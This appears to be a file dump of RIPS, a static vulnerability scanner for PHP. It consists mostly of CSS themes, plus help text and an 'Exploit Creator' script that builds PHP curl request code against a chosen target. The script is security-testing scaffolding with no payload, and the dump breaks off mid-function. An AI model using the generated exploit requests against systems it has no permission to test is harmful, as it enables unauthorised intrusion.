.phps-t-boolean-or, .phps-t-boolean-and, .phps-t-file, .phps-t-line, .phps-t-dir, .phps-t-func-c, .phps-t-class-c, .phps-t-method-c, .phps-t-ns-c {color: #007700;} .phps-t-const, .phps-t-variable, .phps-t-string-varname, .phps-t-string, .phps-t-eval, .phps-t-lnumber, .funclistline, .phps-t-variable-marked, .phps-tainted-var {color: #0000BB;} .phps-t-variable-marked {background-color:#F5A69A;} .phps-tainted-var {font-weight:bold;} .phps-t-encapsed-and-whitespace, .phps-t-constant-encapsed-string {color: #DD0000;} .phps-t-inline-html {color: #000000;} .phps-t-comment, .phps-t-ml-comment, .phps-t-doc-comment {color: #FF8000} ================================================ FILE: css/print.css ================================================ html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video { background-color: white; color: black; } #scrollwindow { background-color: grey; opacity:0.22; } div.menu { background-color: white; border: 0px; } div.stats { background-color: white; color: black; position: relative; margin-bottom: 15px; } div#window1, div#window2, div#window3, div#window4, div#window5 { display: none; } div.vulnblock { background-color: white !important; color: white; } div.codebox { margin-bottom: 1px; background-color: white; } div.vulnblock span { color: black; } div.vulnblock span.phps-t-constant-encapsed-string, div.vulnblock span.phps-t-encapsed-and-whitespace, div.vulnblock span.phps-t-comment, div.vulnblock span.phps-t-ml-comment, div.vulnblock span.phps-t-doc-comment { color: #999999; } div.buttonbox { display: none; } div.help, div.fileico, div.minusico, div.exploit, div.dataleak { display: none; } input.button[value=x] { display: none; } ================================================ FILE: css/rips.css ================================================ body, html { font-family: helvetica; background-color: #DFDFDF; padding: 0; margin: 0; color: #DFDFDF; } .menu { background-color: #223344; padding: 8px; padding-bottom: 0px; border: 1px solid black; } .logo { margin-top:5px; background-image: url(rips.png); background-repeat: no-repeat; height: 52px; width: 150px; text-align: right; font-size: 12px; display:table-cell; vertical-align:bottom; } a#logo { color:#FFCC44; text-decoration: none; } .scanning, .stats { margin-left:35%; border:3px solid black; position:absolute; opacity: .94; background-color: #223344; color:white; } .stats { width:290px; font-size: 12px; padding:5px; } .scanning { height:200px; width:300px; margin-top:100px; display:none; text-align:center; font-size: 22px; font-weight:bold; background-image: url(scanning.gif); background-repeat: no-repeat; background-position: 105px 60px; } .scanned { position: absolute; background-color: #FFCC44; height:5px; width:75px; margin-left:113px; margin-top:70px; opacity: .50; } .scanfile, .scantimeleft { font-size: 10px; font-weight:normal; text-align:center; position:absolute; } .scanprogress { position:absolute; margin-top:80px; width:100%; text-align:center; font-size: 12px; color:black; } .scantimeleft { bottom:5px; width:100%; } .scanfile { margin-right:5px; margin-left:5px; } .diagram { height:70px; width:80px; } .warning { font-size:12px; } .chart { background-color: #FFCC44; height:10px; float:left; margin-right:5px; } .menushade { background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAJCAYAAAGEQXZyAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAO0lEQVR42mJgYGBYCxBAQMzAAhBAIMIJIIBARA1AAIEIaYAAAhHTAAKIGUgIAQQQiPgHEEAg4jtAgAEARKoEMfjevaIAAAAASUVORK5CYII='); height: 9px; } .menushade { margin-top:0px; margin-bottom: 30px; width: 100%; margin-left: auto; margin-right: auto; } .fileico { height: 13px; width: 14px; background-position: 2px 0px; background-repeat: no-repeat; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAANCAYAAACQN/8FAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAA00lEQVR42mJkYGD4z4AF/P//nxGZDxBATFBBFAwC8vLy/ydMmAA3BCCAoOpQAUzs8ePH//v7+8FCAAHECBVEsZaRkZHh0aNHDL9+/WK4ceMGw+3btxkAAginiTDMxsYGpgECCG7ilStXGFhYWMAmcnJywjzEoKCgALYBIICwWo0OQAoBAogFmYMjmMA0QADBFYIczczMjKLo379/cDZAAMGt5uXlZWBnZ4ebDBL7/fs3w8ePH8FiAAEEN/HkyZNwz2AzESCAiPYMQAAx4oprdAAQYABoKoXcYicJaAAAAABJRU5ErkJggg=='); } .minusico { height: 13px; width: 14px; background-position: 2px 1px; background-repeat: no-repeat; background-image: url('data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAALCAYAAACprHcmAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAA0klEQVR42mJMS0v7z0AEYGRkZAAIIBYQMXXqVAZmZmYMBX///gXTILn09HQGgAACK8amEAQ+fPgApgUEBMA0QAAxMZAAAAKI5ffv3zglhYWFUfgAAcTCysrK8OfPH4a8vDywAEgzBwcHw/fv3+HOmzFjBpgGCCCWf//+MbCwsDBMmzYNw+T////DQwIEAAII7OZv376BTQdh9OCCKQQBgAAiyYMAAcTCxMTEwMbGxvDr1y+IANBJuMIbIIDAbs7NzWUA0XDrgAaAPAryPLLbAQIMAKuVPnnja7mZAAAAAElFTkSuQmCC'); } .plusico { height: 11px; width: 14px; background-position: 2px 1px; background-repeat: no-repeat; background-image: url('data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAALCAYAAACprHcmAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAA3ElEQVR42mJMS0v7z0AEYGRkZAAIIBYQMXXqVAZmZmYMBX///gXTILn09HQGgABiAilGV5iamgqmP3z4AMYwTQABxMRAAgAIIJbfv3/jlBQWFkbhAwQQCysrK8OfP38Y8vLywAIgzRwcHAwpKSlw582YMQNMAwQQy79//xhYWFgYpk2bhuLmOXPmMPz//x8eEiAAEEBgN3/79g1sOgijBxdMIQgABBBJHgQIIBYmJiYGNjY2hl+/fkEEgE6aPXs21vAGCCCwm3NzcxlANNw6oAEgj4I8DwIwtwMEGACwW0hYY16C/gAAAABJRU5ErkJggg=='); } .exploit { height: 13px; width: 13px; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAAACXBIWXMAAA9hAAAPYQGoP6dpAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAACfElEQVR42mL8//8/AzJ4kl/8/9PRYwyM7BwMf//8YWBiYWEQjgxhEM/JZoSpAQggFmQN1wzM/v/5/p1BrCCHgdPQkOHXhw8Mr9ZtZLjb2sXw/cXr/wotDWCNAAHEBNNwxdH1P7eVBYP2qSMMjP/+M7zq7Wf4sHY9g0RCPIPmsYMMD1evZrjX3Q92FkAAMYCcB8KXLOxAtvx/mJX7/wwD+/8L+ib/T4jJ/d/PyPb/wZr1/69PnPJ/j6zCf5BagAACa7jiH/L/fmPz/1cr1/w/wcDy/0Fb5/83p8/9f7J9x/9jppb/94lJ/b+7fef/HTKK/x/OX/QGIIDAzvty8xoDi4wMw8uFixlYjYwZOE2MGO5FRDK83rqDQbqrg+HH63cMP56/ZOAyNWR4ffggA0AAgTWxcnMz/AF68cf79wws0jIMn67fYnhz9ybDhzNnGRhExRgYeLgY/nz7ysDIxQ1U84kBIIDAmhhFpRgYmVgY2LQ0Gd6fOMrAoq7GIDdlJoNkVSXDu9VrGf58/sTwj5+P4dudewyCmuoMAAEE1sSuJM/w8dIlBtHMDIafHz4xPO/sYWCXl2P4ce0qw6OWJgYOC1OgInaGr9euMWi1NosABBAjLHIPaOj+11i/muHDsRMMD8rKGf7+/AYMJCYGNnV1BulJkxhezZ8LjMirDI7HjzECBBA8cqVjohjOmVkxKE+bzKC6eyfDzxcvGf6xsTAwcfIyvJgzi+HXsWMMHjevgSMXIIAYkZPR+bS0/w9nz2UQiYhiYJKVYfj15i3D+x3bGf69fccQ/PMrPBkBBBAjetoDgXOp6Z+/PXzM8PfzZwZ+CzMGg/5eXmR5gAADAJdYBF9ow6CbAAAAAElFTkSuQmCC'); } .help { height: 14px; width: 14px; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAC8klEQVR42mL8//8/AwwcvfNL+d///1H//v2PA9IS//79Y/j77/8LIL0ISC/zNuC/C1MLEECMMI0Hbn4PBmqYLC/MIsn4/y/D379/weJMTEwMv4DMa0++Pf/7719umKXYWpA4QACBNe65+jUYKLhQXYKV++OX7wzXH39lePT2K8g2BjF+NgZtaT4GIQEOhmM3Pnz9+/dffLKL3FqAAGLceuGjEtAph7Wk2aVevv/GsPvKawZJflYGT0Mphv9AeObOe4az998x2KuLMEiLcDPsufjqGVCzLUAAMf34+StGUZRV6sPnnww7Lrxk+PblJ0O0rTyDEA8bgzAPO4O7gTgDG+N/hoPXXjK8A6oxVOSX+vr9ZwxAAAA5AMb/Avb4+10FAv8A0d/wAPf4+gD7/v0A7vP6AL/T6ADK2+sAAQAAAD4rFADw9PUAzt/sABAMBAD19/pdAgio8Zc0I9BJD15/YvgDDJBff34xdKy9wMDE+I9BX0GQ4dO33wyPXn1h+PvnH8OD5+8ZWICB9eX7T2mAAGL59v0nAyhg/wDxrz9ANjBAQHwbLQmG90Bn96w+z/Dj1x8GUNj/ARr2H+hsoI0MAAHEAiSe/vr7V0UaGGqfPn9j+PfvDwMo/kpmHQVHx9/ffxiApoEDSlJCmOH7z98MQMueAgQQE9Daxc9ef2UwUBRkYGWEKPz/9x9DW6IFQ0uCOcMfoEF/gBpBcWuqLs5w6+F7BqD3FgMEEBPQxiUbj91/xsLEwOBpIsPAysLI8OfPb4YV+28wrDpwE5II/v1mcDdXZWBlZmJYsOPqM2CALgEIIHACSOjaF/wHmAAy/XS4fwNtO3blCcOjF+8Z/gEDRFqcn8FKW5qBhYWZoWnBia/AhBJ/aGLYWoAAgie5oPptoNQzOdReRVJdXoiBnY0ZLP79xx+GK3dfM8zbfuU5MEnmHp8aCU5yAAHEiJzIXUvXKQOTGTCR/4sDpg5gIv8PTHb/XgAT/CIge9mZmTHwRA4QYABQyY5ecbnnNAAAAABJRU5ErkJggg=='); } .hotpatch { height: 15px; width: 15px; margin-top: -1px; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAPCAYAAAFM0aXcAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAACw0lEQVR42mL8//8/AwgABBDTxxcv97/vZvsPEECMMBGAAGL536Py/8P/RwwAAcTwZdWcQ3+iVf+/9mP8/86S5T9AAIGVfJ4j+/+vkDbDw9VnvwAEEFwPDAAEEMv/XJP/bx+dA3N4ijYfAAggFgb5DwzMcixgAQ57b0eAAGJheCjAwGgmwMDALQIWBAggBpAZIPzj2ukGoG0Nl5xMP/ytd/9wVI774c8fPxMAAgAhAN7/BPjBtb/6679A/cqOAP3zAAAVgIsA5CUyACouAA/37+9iAogBqGrOh+cv/n+aLfP//eGk/w+f7wOzQRhkMkAAwa0ACnwAKn4D48MwQABh+AMZAAQQC4zxfXJxw4/lkwL4lBQVrj0XYODQMZ4CEECM/3KM//97/4nh/ec7cB3fJ2xk4IkOYgAIIKbfPcfggl+11Bi+zdzL8J+Th+Gv6F8GgAAC6wSFzodX9xg+F+1l4F3sDlcMEEBgnR+VVICeZWFg/P6FgdEyFoxZBMUZAAIIrPOjGQMD88+XDH/ZxSFBKSbNcC165V2AAAL751ZexlNg8H1A9ydAAOH1JyEAEEAsQP/v4Lh10P2/sAjDFx0dBp4rV+CS/+/cY/h07z6c/3bpAQbhaAcwm61wxlmAAGJh1HNi/3dyMwMDMKz+ftsF9JQRAyyhgIEogsnO8A4cRKAgk9DR/wwQQCyMYuIMTIJ8DJ/tHRi4fdsY7j47DUlhT04w/AKmBN4+Z6ghLAw80/0ZGNQZGPj+3mJgVNJ7DxBALECCDRRD3Bs2MTA92MAgLvCT4c/7l2D1v1R3MrCoSYP5oOD9b+gHFmd8/4CBjZ0tCCCAwAEGStOg4P6hEMnwRcaCQeTpPAbmG7sgQY8MFPUZGO5fBDMFYs8wAgQQWPNlZ7NTQL6pluQHhm8O38GSsDh7PPUdg1JG+hvu0GRR9NAGCDAAI6Y+qpsRI6MAAAAASUVORK5CYII='); } .dataleak { height: 15px; width: 13px; margin-top: -1px; margin-left: 3px; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAARCAYAAADpPU2iAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAACBklEQVR42mL4//8/Azq+fevW/4WLFvzHJgcQQAzYBJubm/6zsrJg1QAQQEwMWMCOa7cZftsEYJNiAAggrDYwzDzwn+He//+7163GsAUggDBsuHRk/38mG3sGFRYGhmUHj2JYABBAKLo3b9r4n6F73f+ar///LwUJrLvz3zk0/P/fn9/hNgEEEMKG37/+zz97jYHBzJVBnYuB4R9ITEOZYa+EEcOUvh64MoAAgpsuZu/+n/Hw+/+5QNOXAwUqvwAFzwHxdSBec/X/p7evwbYABBATTNcrh1gGA3UBBkug6cc+MTDMuA8UZwTiH0Csr8XQ0dEOVgoQQGANB3ZsZeAMjWTw5mVg+AUMpGn3GBje/0Ly6DcGhslXHjPcvHjuP0AAMf7/9++/Z2AQg8DC9Qxa7AwMddehJsMAiP0TiC8eYki5sIoBIICYGBgZGcVFRRi+An157B0D1LdIAOSGF0D86R0DLwc7A0AAMYI88vDmtf8Kn9UYGDiBgf8bOcyB+DIQ/2VgEF3iyXBjyWwGgAAC+0FeXYuRaXotA8PnjwwMbEhOeQC1QfgTQ0eYL4OQpAwjQAChRNzeHdv+Szj5/GfYdPc/w44n/xnKJv238fX7f+7oIXjEAQQQ2EnI4Om92/8zqxoYfv/7x+BspMtQUFDAwMLBBQ8GgADC0ICITaDvmZgZ0aUAAgwA5489hLuadr8AAAAASUVORK5CYII='); } .fileico, .minusico, .plusico, .exploit, .help, .hotpatch, .dataleak { margin-left: 2px; cursor:pointer; float:left; } .vulntitle { margin-left: 20px; } #window1, #window2, #window3, #window4, #window5 { display:none; position:absolute; top:200px; right:200px; } #funccode { display:none; position:absolute; } #funccodecontent { border: 1px solid #888; opacity: .96; max-height: 250px; overflow-y: scroll; } #funccodetitle { border: 1px solid #888; padding: 4px; } .windowtitlebar, .funclisttitlebar { background: #364C63; height:30px; border: 2px solid black; color: #FFFFFF; z-index:3; cursor: move; white-space:nowrap; width:100%; } .windowtitle, .funclisttitle { margin-left:20px; height:30px; color: #DFDFDF; font-weight:bold; font-size:14px; padding-top:7px; margin-bottom:-7px; overflow:hidden; white-space:nowrap; } #scrolldiv { border-left: 2px solid black; width:84px; height:100%; position:relative; float:left; background-color: black; } #scrollwindow { height:50px; width:100%; position:absolute; } #scrollcode { width:85px; height:100%; overflow:hidden; } #scrollcode table { font-size:.15em; } #scrollcode td { padding: 0px; margin: 0px; line-height:0.02; height:0.02em; } .closebutton, .maxbutton { height:15px; width:15px; top:10px; position:absolute; } .maxbutton { right:40px; } .closebutton { right:20px; } .windowcontent, .funclistcontent { overflow:auto; opacity: .98; border-left: 2px solid black; border-right: 2px solid black; height: 100%; width:100%; } #windowcontent1 { float:left; margin-left:84px; position:absolute; width:516px; } .return { display:none; position:absolute; margin-top:-2px; margin-left:20px; font-size:16px; font-family: monospace; font-weight:bold; cursor:pointer; } .windowfooter , .funclistfooter { cursor:se-resize; background: #364C63; height:15px; border: 2px solid black; width:100%; } .funclistline { cursor: pointer; } .exploittitlebox { background-color: black; padding-left: 10px; margin-top: 10px; font-weight: bold; width: 390px; } .exploittitle { color:white; font-weight: bold; white-space: nowrap; width: 350px; float: left; } .exploitbox { width: 400px; } .exploitcontentbox { border: 2px solid black; background-color: #333333; padding: 3px; } .helptitle, .helpbox { border:1px solid black; padding-left:10px; padding-right:10px } .helptitle { background-color: #364C63; } .helpbox { background-color: #333333; } .linenrcolumn { text-align:right; } .filebox { margin-left: 20px; margin-right: 20px; color: black; } table { font-size: 14; } .menutable { color: #C0C0C0; } input[type="text"],select { color: #000 !important; background: #989FA2 !important; font-size:12px; padding:2px; border:1px solid #000; } .closebutton,.maxbutton, .Button { background-color:#454545; color:#fff; border:1px solid #000; } .Defined { text-decoration: none; color:#0000FF; } label { padding:10px; margin:10px; } img { border:0; } ul { list-style-type:none; } hr { border:1px solid black; } a { color: #DFDFDF; } .filename { text-decoration:underline; font-weight:bold; } .codebox { margin-bottom: 10px; background-color: #DFDFDF; } .vulnblocktitle { margin-left: 20px; font-size: 10pt; padding:5px; width:200px; } .vulnblock { border:1px solid black; } #filecanvas , #functioncanvas{ display:none; } .jumplink { position:absolute; margin-top:-40px; } ================================================ FILE: css/term.css ================================================ #scrollwindow { background-color: grey; opacity:0.22; } .userinput, .persistent { list-style-type: disc; color:white; } .validated { list-style-type: disc; color:red; } .functioninput { list-style-type: disc; color:yellow; } .vulnblock { background-color:#223344; color:#FFF; font-weight:bold; } .codebox { margin-bottom: 10px; background-color: #101820; } .windowcontent, .filecanvas, #funccodecontent, #funccodetitle, .funclistcontent { background-color: #101820; } .markline { background-color: #0A212C; } .requires {color: #D2A8A1; font-weight:bold;} .linenr {color: #444;} .link {color: #DC578C; font-weight:bold;} .code, .vulntitle { font-size:9pt; font-family: "Bitstream Vera Sans Mono", "Monaco", "Courier New", monospace; } .code, .phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle {color: #B5C9C9; } .phps-t-string, .phps-t-eval, .phps-t-print, .phps-t-include, .phps-t-include-once, .phps-t-require, .phps-t-require-once, .phps-t-isset, .phps-t-empty, .phps-t-while, .phps-t-do, .phps-t-try, .phps-t-catch, .phps-t-exit, .phps-t-unset, .phps-t-list, .phps-t-array, .phps-t-echo, .phps-t-start-heredoc, .phps-t-end-heredoc {color: #FFFFFF;} /*E1E1F9*/ .phps-t-open-tag, .phps-t-close-tag, .phps-t-and-equal, .phps-t-concat-equal, .phps-t-div-equal, .phps-t-minus-equal, .phps-t-mod-equal, .phps-t-mul-equal, .phps-t-or-equal, .phps-t-plus-equal, .phps-t-sl-equal, .phps-t-sr-equal, .phps-t-xor-equal, .phps-t-is-equal, .phps-t-is-greater-or-equal, .phps-t-is-identical, .phps-t-is-not-equal, .phps-t-is-not-identical, .phps-t-object-operator, .phps-t-double-colon, .phps-t-paamayim-nekudotayim, .phps-t-if, .phps-t-isset, .phps-t-exclaim, .phps-t-for, .phps-t-foreach, .phps-t-return, .phps-t-double-arrow, .phps-t-as, .phps-t-or, .phps-t-case, .phps-t-default, .phps-t-break, .phps-t-continue, .phps-t-goto, .phps-t-and, .phps-t-xor, .phps-t-global, .phps-t-logical-and, .phps-t-logical-or, .phps-t-boolean-or, .phps-t-boolean-and, .phps-t-else, .phps-t-elseif, .phps-t-switch, .phps-t-use, .phps-t-var, .phps-t-inc, .phps-t-dec, .phps-t-function, .phps-t-public, .phps-t-private, .phps-t-protected, .phps-t-static, .phps-t-class, .phps-t-new, .phps-t-bool-cast, .phps-t-double-cast, .phps-t-int-cast, .phps-t-unset-cast, .phps-t-file, .phps-t-line, .phps-t-dir, .phps-t-func-c, .phps-t-class-c, .phps-t-method-c, .phps-t-ns-c {color: #CF628D;} .phps-t-const {color: #CF628D;} .phps-t-variable, .phps-t-variable-marked, .phps-t-string-varname, .funclistline {color: #1487BD;} .phps-t-variable-marked {background-color:#132F3C;} .phps-tainted-var {color: #1AA9EC;} .phps-t-lnumber {color: #CF6A4C} .phps-t-encapsed-and-whitespace, .phps-t-constant-encapsed-string {color: #6C8EB7;} /* FFCE42 */ .phps-t-inline-html {color: #FFCE42;} .phps-t-comment, .phps-t-ml-comment, .phps-t-doc-comment {color: #2C425D} ================================================ FILE: css/twilight.css ================================================ #scrollwindow { background-color: grey; opacity:0.22; } .userinput, .persistent { list-style-type: disc; color:white; } .validated { list-style-type: disc; color:red; } .functioninput { list-style-type: disc; color:yellow; } .codebox { margin-bottom: 10px; background-color: #141414; } .vulnblock { background-color:#151D24; color:#FFCC44; font-weight:bold; } .windowcontent, .filecanvas, #funccodecontent, #funccodetitle, .funclistcontent { background-color: #141414; } .markline { background-color: #531107; } .requires {color: #D2A8A1; font-weight:bold;} .linenr {color: #888;} .link {color: #CF6A4C; font-weight:bold;} .code, .vulntitle { font-size:9pt; font-family: "Bitstream Vera Sans Mono", "Monaco", "Courier New", monospace; } .code, .phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle {color: white; } .phps-t-string, .phps-t-eval, .phps-t-print, .phps-t-include, .phps-t-include-once, .phps-t-require, .phps-t-require-once, .phps-t-isset, .phps-t-empty, .phps-t-while, .phps-t-do, .phps-t-try, .phps-t-catch, .phps-t-exit, .phps-t-unset, .phps-t-list, .phps-t-array, .phps-t-echo, .phps-t-start-heredoc, .phps-t-end-heredoc {color: #DAD085;} .phps-t-open-tag, .phps-t-close-tag, .phps-t-and-equal, .phps-t-concat-equal, .phps-t-div-equal, .phps-t-minus-equal, .phps-t-mod-equal, .phps-t-mul-equal, .phps-t-or-equal, .phps-t-plus-equal, .phps-t-sl-equal, .phps-t-sr-equal, .phps-t-xor-equal, .phps-t-is-equal, .phps-t-is-greater-or-equal, .phps-t-is-identical, .phps-t-is-not-equal, .phps-t-is-not-identical, .phps-t-object-operator, .phps-t-double-colon, .phps-t-paamayim-nekudotayim, .phps-t-if, .phps-t-isset, .phps-t-exclaim, .phps-t-for, .phps-t-foreach, .phps-t-return, .phps-t-double-arrow, .phps-t-as, .phps-t-or, .phps-t-case, .phps-t-default, .phps-t-break, .phps-t-continue, .phps-t-goto, .phps-t-and, .phps-t-xor, .phps-t-global, .phps-t-logical-and, .phps-t-logical-or, .phps-t-boolean-or, .phps-t-boolean-and, .phps-t-else, .phps-t-elseif, .phps-t-switch, .phps-t-use, .phps-t-var, .phps-t-inc, .phps-t-dec, .phps-t-function, .phps-t-public, .phps-t-private, .phps-t-protected, .phps-t-static, .phps-t-class, .phps-t-new, .phps-t-bool-cast, .phps-t-double-cast, .phps-t-int-cast, .phps-t-unset-cast, .phps-t-file, .phps-t-line, .phps-t-dir, .phps-t-func-c, .phps-t-class-c, .phps-t-method-c, .phps-t-ns-c {color: #9B703F;} .phps-t-const {color: #CF6A4C;} .phps-t-variable, .phps-t-variable-marked, .phps-t-string-varname, .funclistline {color: #7587A6;} .phps-t-variable-marked {background-color:darkred;} .phps-tainted-var {color: #9ABDFB;} .phps-t-lnumber {color: #CF6A4C} .phps-t-encapsed-and-whitespace, .phps-t-constant-encapsed-string {color: #8F9D6A;} .phps-t-inline-html {color: #F9EE98;} .phps-t-comment, .phps-t-ml-comment, .phps-t-doc-comment {color: #5F5A60} ================================================ FILE: index.php ================================================ . **/ include 'config/general.php'; if (defined("MODE_CLI")) parse_str(implode('&', array_slice($argv, 1)), $_POST); // parse commandline into $_POST ?> \n"; } ?> RIPS - A static source code analyser for vulnerabilities in PHP scripts
scanning ...

Quickstart:

Locate your local PHP source code path/file (e.g. /var/www/project1/ or /var/www/index.php), choose the vulnerability type you are looking for and click scan!
Check subdirs to include all subdirectories into the scan. It is recommended to scan only the root directory of your project. Files in subdirectories will be automatically scanned by RIPS when included by the PHP code. However enabling subdirs can improve the scan result and the include success rate (shown in the result).

Advanced:

Debug errors or improve your scan result by choosing a different verbosity level (default level 1 is recommended).
After the scan finished 4 new button will appear in the upper right. You can select between different types of vulnerabilities that have been found by clicking on their name in the stats window. You can click user input in the upper right to get a list of entry points, functions for a list and graph of all user defined functions or files for a list and graph of all scanned files and their includes. All lists are referenced to the Code Viewer.

Style:

Change the syntax highlighting schema on-the-fly by selecting a different code style.
Before scanning you can choose which way the code flow should be displayed: bottom-up or top-down.

Icons:

  • User input has been found in this line. Potential entry point for vulnerability exploitation.
  • Vulnerability exploitation depends on the parameters passed to the function declared in this line. Have a look at the calls in the scan result.
    Click or to jump to the next declaration or call of this function.
  • User-implemented securing has been detected in this line. This may prevent exploitation.

Options:

  •  Click the file icon to open the Code Viewer to review the original code. A new window will be opened with all relevant lines highlighted.
    Highlight variables temporarily by mouseover or persistently by clicking on the variable. Jump into the code of a user-defined function by clicking on the call. Click return on the bottom of the code viewer to jump back. This also works for nested function calls.
  •  Click the minimize icon to hide a specific code trace. You may display it later by clicking the icon again.
  •  Click the target icon to open the Exploit Creator. A new window will open where you can enter exploit details and create PHP Curl exploit code.
  •  Click the help icon to get a description, example code, example exploitation, patch and related securing functions for this vulnerability type.
  •  Click the data leak icon to check if the output of the tainted sink leaks somewhere (is embedded to the HTTP response via echo/print).

Hints:

  • RIPS implements static source code analysis. It only scans source code files and will not execute the code.
  • Object-oriented code (classes) is not supported in this version.
  • Make sure RIPS has file permissions on the files to be scanned.
  • Don't leave the webinterface of RIPS open to the public internet. Use it on your local webserver only.
  • Only tested with Firefox.
================================================ FILE: js/exploit.js ================================================ /** RIPS - A static source code analyser for vulnerabilities in PHP scripts by Johannes Dahse (johannes.dahse@rub.de) **/ function editExploit() { document.getElementById('exploitcode').style.display = "none"; document.getElementById('exploitbuild').style.display = "block"; } function deleteMethod(method) { document.getElementById(method+'box').style.display = "none"; } function getQuery(method) { var query = ""; var elements = document.getElementById(method).elements; for(var i=0;i"; output = output + "
//

$target = $argv[1];

"; var target = document.getElementById('target').value; var cookiejar = document.getElementById('cookiejar').value; var exectime = document.getElementById('exectime').value; var ssl = document.getElementById('ssl').checked var auth = document.getElementById('auth').checked if(document.getElementById('$_FILES') != undefined) output = output + "$postData = array();
$postData[ 'file' ] = \"@" + document.getElementById('$_FILES').elements[0].value + "\";

"; if(auth) { output = output + "$username = \"\";
$password = \"\";

"; } output = output + "$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
"; if(document.getElementById('$_GET') != undefined) { var getquery = getQuery('$_GET'); output = output + "curl_setopt($ch, CURLOPT_URL, \"" + target + '?' + getquery + "\");
"; output = output + "curl_setopt($ch, CURLOPT_HTTPGET, 1);
"; } else { output = output + "curl_setopt($ch, CURLOPT_URL, \"" + target + "\");
"; } output = output + "curl_setopt($ch, CURLOPT_USERAGENT, \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\");
"; if(document.getElementById('$_POST') != undefined || document.getElementById('$_FILES') != undefined) output = output + "curl_setopt($ch, CURLOPT_POST, 1);
"; if(document.getElementById('$_POST') != undefined) { var postquery = getQuery('$_POST'); output = output + "curl_setopt($ch, CURLOPT_POSTFIELDS, \"" + postquery + "\");
"; } if(document.getElementById('$_FILES') != undefined) output = output + "curl_setopt($ch, CURLOPT_POSTFIELDS, $postData );
"; if(document.getElementById('$_COOKIE') != undefined) { var cookie = getQuery('$_COOKIE'); output = output + "curl_setopt($ch, CURLOPT_COOKIE, \"" + cookie + "\");
"; } if(document.getElementById('$_SERVER') != undefined) { var elements = document.getElementById('$_SERVER').elements; for(var i=0;i"; else if(elements[i].name == 'HTTP_ACCEPT') output = output + "curl_setopt($ch, CURLOPT_HTTPHEADER, \"Accept: "+elements[i].value+"\");
"; else if(elements[i].name == 'HTTP_ACCEPT_LANGUAGE') output = output + "curl_setopt($ch, CURLOPT_HTTPHEADER, \"Accept-Language: "+elements[i].value+"\");
"; else if(elements[i].name == 'HTTP_ACCEPT_ENCODING') output = output + "curl_setopt($ch, CURLOPT_ENCODING, \""+elements[i].value+"\");
"; else if(elements[i].name == 'HTTP_ACCEPT_CHARSET') output = output + "curl_setopt($ch, CURLOPT_HTTPHEADER, \"Accept-Charset: "+elements[i].value+"\");
"; else if(elements[i].name == 'HTTP_KEEP_ALIVE') output = output + "curl_setopt($ch, CURLOPT_HTTPHEADER, array(\"Connection: keep-alive\", \"Keep-Alive: "+elements[i].value+"\"));
"; else if(elements[i].name == 'HTTP_CONNECTION') output = output + "curl_setopt($ch, CURLOPT_HTTPHEADER, \"Connection: "+elements[i].value+"\");
"; } } if(exectime != "") output = output + "curl_setopt($ch, CURLOPT_TIMEOUT, " + exectime + ");
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, " + exectime + ");
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, " + exectime + ");
"; if(cookiejar != "") output = output + "curl_setopt($ch, CURLOPT_COOKIEJAR, \"" + cookiejar + "\");
"; if(ssl) { output = output + "curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
"; output = output + "curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
"; output = output + "curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
"; } if(auth) { output = output + "curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
